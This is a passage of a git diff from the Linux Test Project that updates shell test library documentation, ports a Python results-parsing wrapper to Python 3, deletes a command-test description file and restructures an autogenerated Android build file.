 '$\{TST_TESTFUNC\}1', ..., '$\{TST_TESTFUNC\}$\{TST_CNT\}' and if these are
-found they are executed one by one.
+found they are executed one by one. The test number is passed to it in the '$1'.
 
 [source,sh]
 -------------------------------------------------------------------------------
@@ -1413,18 +1612,80 @@
 do_test()
 {
 	case $1 in
-	1) tst_res TPASS "Test 1 passed";;
-	2) tst_res TPASS "Test 2 passed";;
+	1) tst_res TPASS "Test $1 passed";;
+	2) tst_res TPASS "Test $1 passed";;
 	esac
 }
 
 tst_run
+# output:
+# foo 1 TPASS: Test 1 passed
+# foo 2 TPASS: Test 2 passed
 -------------------------------------------------------------------------------
 
 Otherwise, if '$TST_CNT' is set but there is no '$\{TST_TESTFUNC\}1', etc.,
 the '$TST_TESTFUNC' is executed '$TST_CNT' times and the test number is passed
 to it in the '$1'.
 
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+#
+# Example test with tests in a single function, using $TST_TEST_DATA and
+# $TST_TEST_DATA_IFS
+#
+
+TST_TESTFUNC=do_test
+TST_TEST_DATA="foo:bar:d dd"
+TST_TEST_DATA_IFS=":"
+. tst_test.sh
+
+do_test()
+{
+	tst_res TPASS "Test $1 passed with data '$2'"
+}
+
+tst_run
+# output:
+# foo 1 TPASS: Test 1 passed with data 'foo'
+# foo 2 TPASS: Test 1 passed with data 'bar'
+# foo 3 TPASS: Test 1 passed with data 'd dd'
+-------------------------------------------------------------------------------
+
+It's possible to pass data for function with '$TST_TEST_DATA'. Optional
+'$TST_TEST_DATA_IFS' is used for splitting, default value is space.
+
+[source,sh]
+-------------------------------------------------------------------------------
+#!/bin/sh
+#
+# Example test with tests in a single function, using $TST_TEST_DATA and $TST_CNT
+#
+
+TST_TESTFUNC=do_test
+TST_CNT=2
+TST_TEST_DATA="foo bar"
+. tst_test.sh
+
+do_test()
+{
+	case $1 in
+	1) tst_res TPASS "Test $1 passed with data '$2'";;
+	2) tst_res TPASS "Test $1 passed with data '$2'";;
+	esac
+}
+
+tst_run
+# output:
+# foo 1 TPASS: Test 1 passed with data 'foo'
+# foo 2 TPASS: Test 2 passed with data 'foo'
+# foo 3 TPASS: Test 1 passed with data 'bar'
+# foo 4 TPASS: Test 2 passed with data 'bar'
+-------------------------------------------------------------------------------
+
+'$TST_TEST_DATA' can be used with '$TST_CNT'. If '$TST_TEST_DATA_IFS' not specified,
+space as default value is used. Of course, it's possible to use separate functions.
+
 2.3.2 Library variables
 ^^^^^^^^^^^^^^^^^^^^^^^
 
@@ -1441,6 +1702,7 @@
 | 'TST_NEEDS_CMDS'   | String with command names that has to be present for
                        the test (see below).
 | 'TST_NEEDS_MODULE' | Test module name needed for the test (see below).
+| 'TST_NEEDS_DRIVERS'| Checks kernel drivers support for the test.
 |=============================================================================
 
 Checking for presence of commands
@@ -1462,9 +1724,26 @@
 Setting '$TST_NEEDS_CMDS' to a string listing required commands will check for
 existence each of them and exits the test with 'TCONF' on first misssing.
 
-Alternatively the 'tst_check_cmds()' function can be used to do the same on
+Alternatively the 'tst_test_cmds()' function can be used to do the same on
 runtime, since sometimes we need to the check at runtime too.
 
+'tst_check_cmds()' can be used for requirements just for a particular test
+as it doesn't exit (it issues 'tst_res TCONF'). Expected usage is:
+...
+
+TST_TESTFUNC=do_test
+. tst_test.sh
+
+do_test()
+{
+	tst_check_cmds cmd || return
+	cmd --foo
+	...
+}
+
+tst_run
+...
+
 Locating kernel modules
 +++++++++++++++++++++++
 
@@ -1509,8 +1788,8 @@
 parse_args()
 {
 	case $1 in
-	a) ALTERNATIVE=1
-	f) MODE="$2"
+	a) ALTERNATIVE=1;;
+	f) MODE="$2";;
 	esac
 }
 
@@ -1529,14 +1808,14 @@
 The function that prints the usage is passed in '$TST_USAGE', the help for
 the options implemented in the library is appended when usage is printed.
 
-Lastly the fucntion '$PARSE_ARGS' is called with the option name in '$1' and,
-if option has argument, its value in '$2'.
+Lastly the fucntion '$PARSE_ARGS' is called with the option name in the '$1'
+and, if option has argument, its value in the '$2'.
 
 [source,sh]
 -------------------------------------------------------------------------------
 #!/bin/sh
 #
-# Optional test positional paramters
+# Optional test positional parameters
 #
 
 TST_POS_ARGS=3
@@ -1572,6 +1851,20 @@
 2.3.4 Usefull library functions
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
+Retrieving configuration variables
+++++++++++++++++++++++++++++++++++
+
+You may need to retrieve configuration values such as PAGESIZE, there is
+'getconf' but as some system may not have it, you are advised to use
+'tst_getconf' instead. Note that it implements subset of 'getconf'
+system variables used by the testcases only.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# retrieve PAGESIZE
+pagesize=`tst_getconf PAGESIZE`
+-------------------------------------------------------------------------------
+
 Sleeping for subsecond intervals
 ++++++++++++++++++++++++++++++++
 
@@ -1586,6 +1879,32 @@
 tst_sleep 100ms
 -------------------------------------------------------------------------------
 
+Retry a function in limited time
+++++++++++++++++++++++++++++++++
+
+Sometimes LTP test needs retrying a function for many times to get success.
+This achievement makes that possible via keeping it retrying if the return
+value of the function is NOT as we expected. After exceeding a limited time,
+test will break from the retries immediately.
+
+[source,c]
+-------------------------------------------------------------------------------
+# retry function in 1 second
+TST_RETRY_FUNC(FUNC, EXPECTED_RET)
+
+# retry function in N second
+TST_RETRY_FN_EXP_BACKOFF(FUNC, EXPECTED_RET, N)
+-------------------------------------------------------------------------------
+
+[source,sh]
+-------------------------------------------------------------------------------
+# retry function in 1 second
+TST_RETRY_FUNC "FUNC arg1 arg2 ..." "EXPECTED_RET"
+
+# retry function in N second
+TST_RETRY_FN_EXP_BACKOFF "FUNC arg1 arg2 ..." "EXPECTED_RET" "N"
+-------------------------------------------------------------------------------
+
 Checking for integers
 +++++++++++++++++++++
 
diff --git a/doc/tpm-commands.txt b/doc/tpm-commands.txt
deleted file mode 100644
index 59a4324..0000000
--- a/doc/tpm-commands.txt
+++ /dev/null
@@ -1,123 +0,0 @@
-ade
----
-ar01
-
-	Construct one or more command lines which use options that do not
-	take arguments
-	For each of these invocations
-	Specify the options separately
-	Group the options together
-	Compare the behavior of the two cases
-	If they behave differently, then fail
-	If none of the cases fail, then pass
-
-ld01
-
-	 To test the basic functionality of the `ld` command.
-
-ldd01
-
-	 To test the basic functionality of the `ldd` command.
-
-nm01
-
-	To test the basic functionality of the `nm` command.
-
-objdump01
-
-	Tests the functionality of the `objdump` command.
-
-size01
-
-	To test the basic functionality of `size`.
-
-
-
-cpio
-----
-cpio_test.sh
-
-	Tests the basic functionality of `cpio` command
-
-
-
-cron
-----
-cron_test.sh
-
-	This testcase tests if crontab <filename> installs the cronjob
-	and cron schedules the job correctly.
-
-
-
-eject
------
-eject_tests.sh
-
-	Tests the basic functionality of `eject` command.
-
-
-
-fileutils
----------
-cp_tests.sh
-
-	Test basic functionality of `cp` command
-
-ln_tests.sh
-
-	Test basic functionality of `ln` command
-
-mkdir_tests.sh
-
-	Test basic functionality of `mkdir` command
-
-mv_test.sh
-
-	Test basic functionality of `mv` command
-
-
-
-gzip
-----
-gzip_tests.sh
-
-	Test basic functionality of `gzip` and `gunzip` command
-
-
-
-logrotate
----------
-logrotate_tests.sh
-
-	Test basic functionality of `logrotate` command.
-
-
-
-mail
-----
-mail_tests.sh
-
-	Test basic functionality of `mail` command.
-
-
-
-tar
----
-tar_tests.sh
-
-	Test basic functionality of `tar` command.
-
-
-tpm-tools
---------
-
-	Test basic functionality of the tpm-tools commands.
-
-
-unzip
------
-unzip_tests.sh
-
-	Test basic functionality of `unzip` command.
-
diff --git a/execltp.in b/execltp.in
index 10b1f53..4b647cd 100755
--- a/execltp.in
+++ b/execltp.in
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 """
     An LTP [execution and] parsing wrapper.
 
@@ -146,7 +146,7 @@
 
                 while True:
 
-                    line = line_iterator.next()
+                    line = next(line_iterator)
 
                     if line.startswith(end_output):
 
@@ -161,7 +161,7 @@
 
                         while True:
 
-                            line = line_iterator.next()
+                            line = next(line_iterator)
 
                             match = tag_re.match(line)
 
@@ -177,7 +177,7 @@
             except StopIteration:
                 pass
 
-            for k in context.keys():
+            for k in list(context.keys()):
                 if k not in search_tags:
                     raise ResultsParseException('Leftover token in search '
                                                 'keys: %s' % k)
@@ -219,7 +219,7 @@
 
     output_dest.write('\n'.join(['', '=' * 40, header, '-' * 40, '']))
 
-    for test, context in testsuite_context.items():
+    for test, context in list(testsuite_context.items()):
         output_dest.write('<output test="%s">\n%s\n</output>\n' %
                           (test, context.strip()))
 
@@ -302,7 +302,7 @@
     if not opts.summary_mode and not opts.verbose:
         parser.error('You cannot suppress summary output and disable '
                      'verbosity.')
-    elif opts.summary_mode not in range(3):
+    elif opts.summary_mode not in list(range(3)):
         parser.error('--summary-mode must be a value between 0 and 2.')
 
     if len(args) == 0:
diff --git a/gen.bp b/gen.bp
index 11fbcaf..654beb3 100644
--- a/gen.bp
+++ b/gen.bp
@@ -13,3383 +13,170 @@
 
 // This file is autogenerated by gen_android_build.sh
 
-cc_test {
-    name: "ltp_test10",
-    stem: "test10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test11",
-    stem: "test11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test12",
-    stem: "test12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test12.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test13",
-    stem: "test13",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test13.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test14",
-    stem: "test14",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test14.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test15",
-    stem: "test15",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test15.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test16",
-    stem: "test16",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test16.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test17",
-    stem: "test17",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/test17.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dio_append",
-    stem: "dio_append",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/dio_append.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_acct01",
-    stem: "acct01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/acct/acct01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_aiodio_sparse",
-    stem: "aiodio_sparse",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/aiodio_sparse.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_umount2_01",
-    stem: "umount2_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umount2/umount2_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename05",
-    stem: "rename05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_umount2_03",
-    stem: "umount2_03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umount2/umount2_03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nfs04_create_file",
-    stem: "nfs04_create_file",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/nfs/nfs_stress/nfs04_create_file.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-D_LARGEFILE_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_overcommit_memory",
-    stem: "overcommit_memory",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/tunable/overcommit_memory.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+cc_library_static {
+    name: "libltp_controllers",
+    defaults: ["ltp_defaults"],
     local_include_dirs: [
+        "include",
+        "include/old",
+    ],
+    srcs: [
+        "testcases/kernel/controllers/libcontrollers/libcontrollers.c",
+    ],
+}
+
+cc_library_static {
+    name: "libltp_cpu_set",
+    defaults: ["ltp_defaults"],
+    local_include_dirs: [
+        "include",
+        "include/old",
+    ],
+    srcs: [
+        "testcases/kernel/controllers/cpuset/cpuset_lib/cpuinfo.c",
+        "testcases/kernel/controllers/cpuset/cpuset_lib/libbitmask.c",
+        "testcases/kernel/controllers/cpuset/cpuset_lib/libcpuset.c",
+        "testcases/kernel/controllers/cpuset/cpuset_lib/meminfo.c",
+    ],
+}
+
+cc_library_static {
+    name: "libltp_hugetlb",
+    defaults: ["ltp_defaults"],
+    local_include_dirs: [
+        "include",
+        "include/old",
+        "testcases/kernel/include",
         "testcases/kernel/mem/include",
+    ],
+    srcs: [
+        "testcases/kernel/mem/hugetlb/lib/hugetlb.c",
+    ],
+}
+
+cc_library_static {
+    name: "libltp_ipc",
+    defaults: ["ltp_defaults"],
+    local_include_dirs: [
+        "include",
+        "include/old",
+    ],
+    srcs: [
+        "testcases/kernel/syscalls/ipc/lib/libipc.c",
+        "testcases/kernel/syscalls/ipc/lib/libmsgctl.c",
+    ],
+}
+
+cc_library_static {
+    name: "libltp_kerntest",
+    defaults: ["ltp_defaults"],
+    local_include_dirs: [
+        "include",
+        "include/old",
         "testcases/kernel/include",
-        "include/old",
     ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_wait401",
-    stem: "wait401",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/wait4/wait401.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_support_numa",
-    stem: "support_numa",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/numa/support_numa.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
+        "-DNUMA_VERSION1_COMPATIBILITY",
     ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_madvise01",
-    stem: "madvise01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/madvise/madvise01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_linkat01",
-    stem: "linkat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/linkat/linkat01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-Wno-error",
+    srcs: [
+        "testcases/kernel/lib/ksm_helper.c",
+        "testcases/kernel/lib/numa_helper.c",
     ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
 }
 
-cc_test {
-    name: "ltp_asapi_01",
-    stem: "asapi_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/lib6/asapi_01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_hackbench",
-    stem: "hackbench",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/cfs-scheduler/hackbench.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_asapi_03",
-    stem: "asapi_03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/lib6/asapi_03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_asapi_02",
-    stem: "asapi_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/lib6/asapi_02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_utimes01",
-    stem: "utimes01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utimes/utimes01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_wait402",
-    stem: "wait402",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/wait4/wait402.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ioctl05",
-    stem: "ioctl05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioctl/ioctl05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ioctl04",
-    stem: "ioctl04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioctl/ioctl04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ioctl07",
-    stem: "ioctl07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioctl/ioctl07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genlgamma",
-    stem: "genlgamma",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/genlgamma.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_ioctl01",
-    stem: "ioctl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioctl/ioctl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vmsplice02",
-    stem: "vmsplice02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/vmsplice/vmsplice02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ioctl03",
-    stem: "ioctl03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ioctl/ioctl03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rmdir03",
-    stem: "rmdir03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rmdir/rmdir03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl08",
-    stem: "fcntl08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl08.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
+cc_library_static {
+    name: "libltp_ltp",
+    defaults: ["ltp_defaults"],
     local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
+        "include",
         "include/old",
+        "lib",
     ],
-    static_libs: ["libltp_ltp"],
+    cflags: [
+        "-DLTPLIB",
+    ],
+    srcs: [
+        "lib/cloner.c",
+        "lib/get_path.c",
+        "lib/parse_opts.c",
+        "lib/random_range.c",
+        "lib/safe_file_ops.c",
+        "lib/safe_macros.c",
+        "lib/safe_net.c",
+        "lib/safe_pthread.c",
+        "lib/safe_stdio.c",
+        "lib/self_exec.c",
+        "lib/tlibio.c",
+        "lib/tst_ansi_color.c",
+        "lib/tst_checkpoint.c",
+        "lib/tst_checksum.c",
+        "lib/tst_clocks.c",
+        "lib/tst_cpu.c",
+        "lib/tst_crypto.c",
+        "lib/tst_device.c",
+        "lib/tst_dir_is_empty.c",
+        "lib/tst_fill_file.c",
+        "lib/tst_fill_fs.c",
+        "lib/tst_fs_has_free.c",
+        "lib/tst_fs_link_count.c",
+        "lib/tst_fs_type.c",
+        "lib/tst_get_bad_addr.c",
+        "lib/tst_kernel.c",
+        "lib/tst_kvercmp.c",
+        "lib/tst_mkfs.c",
+        "lib/tst_module.c",
+        "lib/tst_net.c",
+        "lib/tst_parse_opts.c",
+        "lib/tst_path_has_mnt_flags.c",
+        "lib/tst_pid.c",
+        "lib/tst_process_state.c",
+        "lib/tst_res.c",
+        "lib/tst_resource.c",
+        "lib/tst_run_cmd.c",
+        "lib/tst_safe_macros.c",
+        "lib/tst_safe_sysv_ipc.c",
+        "lib/tst_sig.c",
+        "lib/tst_sig_proc.c",
+        "lib/tst_status.c",
+        "lib/tst_supported_fs_types.c",
+        "lib/tst_sys_conf.c",
+        "lib/tst_taint.c",
+        "lib/tst_test.c",
+        "lib/tst_timer.c",
+        "lib/tst_timer_test.c",
+        "lib/tst_tmpdir.c",
+        "lib/tst_virt.c",
+    ],
 }
 
-cc_test {
-    name: "ltp_max_map_count",
-    stem: "max_map_count",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/tunable/max_map_count.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+cc_library_static {
+    name: "libltp_mem",
+    defaults: ["ltp_defaults"],
     local_include_dirs: [
+        "include",
+        "include/old",
+        "testcases/kernel/include",
         "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
     ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
+    srcs: [
+        "testcases/kernel/mem/lib/mem.c",
     ],
 }
 
 cc_test {
-    name: "ltp_tst_checkpoint_wake_timeout",
-    stem: "tst_checkpoint_wake_timeout",
+    name: "ltp_abort01",
+    stem: "abort01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_checkpoint_wake_timeout.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/abort/abort01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_futex_wait05",
-    stem: "futex_wait05",
+    name: "ltp_abs01",
+    stem: "abs01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wait05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futex_wait03",
-    stem: "futex_wait03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wait03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futex_wait01",
-    stem: "futex_wait01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wait01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getsockname01",
-    stem: "getsockname01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getsockname/getsockname01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_safe_fileops",
-    stem: "tst_safe_fileops",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/newlib_tests/tst_safe_fileops.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kcmp03",
-    stem: "kcmp03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kcmp/kcmp03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kcmp02",
-    stem: "kcmp02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kcmp/kcmp02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kcmp01",
-    stem: "kcmp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kcmp/kcmp01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_test03",
-    stem: "cpuctl_test03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_test03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_madvise08",
-    stem: "madvise08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/madvise/madvise08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setegid01",
-    stem: "setegid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setegid/setegid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getparam02",
-    stem: "sched_getparam02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getparam/sched_getparam02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getparam01",
-    stem: "sched_getparam01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getparam/sched_getparam01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setegid02",
-    stem: "setegid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setegid/setegid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fs_fill",
-    stem: "fs_fill",
-    defaults: ["ltp_test_defaults"],
